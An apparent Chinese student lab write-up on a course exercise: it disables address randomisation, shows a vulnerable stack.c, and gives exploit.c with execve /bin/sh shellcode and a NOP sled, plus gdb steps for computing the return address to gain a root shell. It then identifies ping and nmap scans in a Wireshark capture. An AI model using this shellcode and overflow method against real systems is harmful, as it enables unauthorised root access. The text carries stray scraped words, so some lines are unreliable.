教學網址:https://www.shiyanlou.com/courses/231
一、實驗準備
按照操做執行命令。
二、初始設置
sudo sysctl -w kernel.randomize_va_space=0
三、準備漏洞程序
shell
程序代碼以下:sass
/* stack.c */ /* This program has a buffer overflow vulnerability. */ /* Our task is to exploit this vulnerability */ #include <stdlib.h> #include <stdio.h> #include <string.h> int bof(char *str) { char buffer[12]; /* The following statement has a buffer overflow problem */ strcpy(buffer, str); return 1; } int main(int argc, char **argv) { char str[517]; FILE *badfile; badfile = fopen("badfile", "r"); fread(str, sizeof(char), 517, badfile); bof(str); printf("Returned Properly\n"); return 1; }
四、攻擊程序
咱們的目的是攻擊剛纔的漏洞程序,並經過攻擊得到root權限。網絡
把如下代碼保存爲「exploit.c」文件,保存到 /tmp 目錄下。
攻擊程序代碼以下:app
/ exploit.c / / A program that creates a file containing code for launching shell/ char shellcode[]= "\x31\xc0" //xorl %eax,%eax "\x50" //pushl %eax "\x68""//sh" //pushl $0x68732f2f "\x68""/bin" //pushl $0x6e69622f "\x89\xe3" //movl %esp,%ebx "\x50" //pushl %eax "\x53" //pushl %ebx "\x89\xe1" //movl %esp,%ecx "\x99" //cdq "\xb0\x0b" //movb $0x0b,%al "\xcd\x80" //int $0x80 ; void main(int argc, char **argv) { char buffer[517]; FILE *badfile; / Initialize buffer with 0x90 (NOP instruction) / memset(&buffer, 0x90, 517); / You need to fill the buffer with appropriate contents here / strcpy(buffer,"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x??\x??\x??\x??"); strcpy(buffer+100,shellcode); / Save the contents to the file "badfile" / badfile = fopen("./badfile", "w"); fwrite(buffer, 517, 1, badfile); fclose(badfile); }
注意上面的代碼,「\x??\x??\x??\x??」處須要添上shellcode保存在內存中的地址,由於發生溢出後這個位置恰好能夠覆蓋返回地址。dom
而 strcpy(buffer+100,shellcode); 這一句又告訴咱們,shellcode保存在 buffer+100 的位置。學習
如今咱們要獲得shellcode在內存中的地址,輸入命令:this
gdb stack disass main
結果以下圖:
接下來:
spa
根據語句 strcpy(buffer+100,shellcode); 咱們計算shellcode的地址爲 0xffffd020(十六進制)+100(十進制)=0xffffd084(十六進制)3d
如今修改exploit.c文件!將 \x??\x??\x??\x?? 修改成 \x84\xd0\xff\xff
編譯
gcc -m32 -o exploit exploit.c
運行文件code
./exploit ./stack
出現了問題以下:
若是不能攻擊成功,提示」段錯誤「,從新使用gdb反彙編,計算內存地址。
如圖,個人str地址爲0xffffd020,通過計算後可得0xffffd084
修改exploit中相應數據後,攻擊成功。
防守時所採起的命令:
對獲得的文件使用wireshark分析:
首先能夠判斷使用了ping命令。
由圖可判斷,接收到的都是TCP的SYN請求,能夠判斷使用的是nmap -sS命令。
Nmap -sS不須要經過完整的握手,就能得到遠程主機的信息。Nmap發送SYN包到遠程主機,可是它不會產生任何會話
猜想爲nmap的-sU命令。
顧名思義,這種掃描技術用來尋找目標主機打開的UDP端口.它不須要發送任何的SYN包,由於這種技術是針對UDP端口的。UDP掃描發送UDP數據包到目標主機,並等待響應,若是返回ICMP不可達的錯誤消息,說明端口是關閉的,若是獲得正確的適當的迴應,說明端口是開放的。
由圖中紅框內內容,被攻擊的主機返回了本身FTP服務的版本號,推測使用了nmap -sV命令。
版本檢測是用來掃描目標主機和端口上運行的軟件的版本.它不一樣於其它的掃描技術,它不是用來掃描目標主機上開放的端口,不過它須要從開放的端口獲取信息來判斷軟件的版本.使用版本檢測掃描以前須要先用TCP SYN掃描開放了哪些端口。